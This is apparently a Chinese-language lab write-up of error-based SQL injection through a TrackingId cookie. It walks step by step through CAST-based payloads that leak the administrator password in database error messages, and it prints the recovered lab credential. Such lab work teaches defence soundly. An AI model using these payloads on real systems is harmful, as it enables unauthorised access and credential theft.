# Web SQL injection Lab13
注入點:TrackingId Cookie
回應特性:伺服器會直接把 SQL 錯誤訊息顯示出來(包含注入後的查詢語句)
目標:偷到 administrator 的密碼並登入
---
先進入網站並攔截請求。


一樣先測試網站的反應,嘗試用 `'` 和 `''` 來測試。


有此可知,錯誤語法有效,不過和之前不一樣的是這裡會印出錯誤訊息。

所以我們輸入個查詢字串
```
' AND (SELECT username FROM users)--
```

在這題當中有限制我們的輸入必須為布林值,所以轉換道路。
```
' AND CAST((SELECT 1) AS int)--
```
SQL 語法:
```
SELECT * FROM users WHERE id = '' AND CAST((SELECT 1) AS int)--'
```
- `'`:關閉原本的字串
- `AND CAST((SELECT 1) AS int)`:嘗試執行一個合法的條件判斷(數值 1 → 轉為整數)
- `--`:注釋掉後面的 SQL,避免語法錯誤

但還是出錯,AND 的左右兩邊都必須是布林值(true 或 false),不能是數字(像是 1 或 0),不像 MySQL 會偷偷幫你把 1 當作 true,所以我們加個 `1=`。
```
' AND 1=CAST((SELECT 1) AS int)--
```

:::info
### 為什麼 `1=CAST(...)` 是必要?
因為這是在 WHERE 子句裡,要有個邏輯運算才成立 ➜ `1 = <東西>` 是最安全的包裝
:::
成功之後就來查詢表跟使用者。
```
' AND 1=CAST((SELECT username FROM users) AS int)--
```

但這時會出現錯誤說我們的文字過長,後面被截斷了,所以我嘗試把前面的 ID 刪除,然後又出現新的問題。

在新的問題中可以知道說他多行回傳出錯了,簡單來說,就是 users 表裡不只一筆 username,這樣資料庫不知道該拿哪一筆來轉型,就報錯了。
所以我們設定 LIMIT 為 1,讓他只輸出第一列使用者。
```
' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
```

又再次報錯,但這次的訊息是 administrator 無法轉成 int,所以我們嘗試把 username 改成 password,直接查詢密碼,看看他會不會直接顯示出來。
```
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
```

:::info
password 本身是文字,但我們用 CAST 想要強制轉換成數字而出錯,所以才會跟前面使用者名一樣被列出在錯誤訊息裡面。
:::
水,拿去登入。
`administrator:vr4dx40essjf1lzlbtml`

---